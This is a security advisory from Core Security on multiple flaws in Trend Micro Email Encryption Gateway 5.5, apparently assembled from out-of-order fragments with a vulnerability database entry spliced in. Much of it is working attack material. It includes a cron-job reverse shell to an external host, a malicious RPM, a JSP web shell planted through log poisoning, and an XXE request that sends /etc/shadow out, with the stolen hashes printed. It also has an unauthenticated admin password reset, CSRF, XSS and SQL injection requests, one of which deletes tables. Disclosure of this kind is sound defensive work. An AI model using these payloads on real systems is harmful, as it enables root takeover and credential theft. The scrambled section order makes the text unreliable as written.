meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/
7.10. *Stored cross-site scripting in editPolicy.jsp*
[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.
The following request adds a policy for the email address
"<script>alert(1)</script>":
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/
The input will be stored unescaped and rendered every time the policies.do
script is executed.
Excerpt of the policies.do source showing the injected script tag:
/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc
VAR-201803-1792 | CVE-2018-6227 | Trend Micro Email Encryption Gateway Vulnerable to cross-site scripting |
CVSS V2: 3.5 CVSS V3: 5.4 Severity: MEDIUM |
A stored cross-site scripting (XSS) vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to inject client-side scripts into vulnerable systems.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. The policy script in TMEEG 5.5 Build 1111 and earlier versions has a cross-site scripting vulnerability, which is caused by the fact that the program does not correctly verify the input submitted by the user. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
.
5.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
/-----
[Request #1]
http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/
The product expects to retrieve a plain-text file with the following
format:
/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/
If a new update is found, then the RPM file is downloaded from the
following URL:
/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
return 10;
}
[...]
-----/
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
5.7
../../../../../../../etc/cron.d/test
test.html
-----/
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/
The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/
gaining code execution upon exploitation:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
/-----
try
{
System.out.println("running file:");
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/
The next time the service components are restarted, the log file will be
created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:
/-----
https://[server]/pepito.jsp?cmd=id
Command: id
uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
/-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[server]/checkForUpdates.do">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----/
7.7. *XML external entity injection in configuration.jsp*
[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the
/etc/shadow file to an external server.
/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/
The combine.dtd file is hosted on an external server, and its contents
are:
/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
